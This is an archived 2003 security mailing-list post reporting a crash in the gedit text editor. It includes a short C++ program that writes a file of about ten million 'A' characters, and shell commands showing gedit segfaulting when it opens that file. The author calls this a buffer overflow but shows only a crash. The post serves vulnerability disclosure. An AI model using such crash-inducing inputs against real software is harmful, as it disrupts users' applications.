[VulnDiscuss] simple bufferoverflow in gedit
Andreas "Constantinides (MegaHz)" <[email protected]> 23 Nov 2003 16:38:22 +0200
| Newsgroups | gmane.comp.security.vulnerabilities.watch.general |
|---|---|
| Message-ID | <1069598302.8830.24.camel@megahz> |
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz [email protected]
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com